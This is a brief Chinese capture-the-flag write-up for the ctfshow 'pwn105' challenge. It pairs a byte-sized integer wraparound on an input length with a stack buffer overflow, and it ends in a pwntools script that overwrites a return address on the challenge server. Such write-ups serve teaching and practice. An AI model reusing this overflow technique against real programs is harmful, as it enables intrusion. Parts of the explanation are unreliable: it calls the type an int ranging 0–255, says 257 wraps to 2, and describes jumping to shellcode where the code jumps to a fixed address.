pwn105(栈溢出+整数安全)

pwn105(栈溢出+整数安全)

  1. 打开IDA,分析一下

    1

​ 有分析可以看到v3要大于等于3小于等于8,由于int 类型所以v3得范围是0~255,256 = 0,257 = 2。

​ 所以我们的范围在258~263都可以。

  1. 所以我们的思路是利用栈溢出,将strcpy的返回地址覆盖成shellcode的地址就可以了
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    from pwn import *
    from LibcSearcher import *
    #from ctypes import c_uint

    #context(arch = "amd64",os = 'linux',log_level = 'debug')
    #context(arch = "i386",os = 'linux',log_level = 'debug')

    r = remote("pwn.challenge.ctf.show", 28207)
    #r = process('./pwn')
    elf = ELF('./pwn')


    success = 0x804870E
    length = 261
    #(0x11+4)是dest的偏移量
    payload = b'a' * (0x11+4) + p32(success)
    payload = payload.ljust(length,b'a')
    r.recvuntil("[+] Check your permissions:")
    r.sendline(payload)
    r.interactive()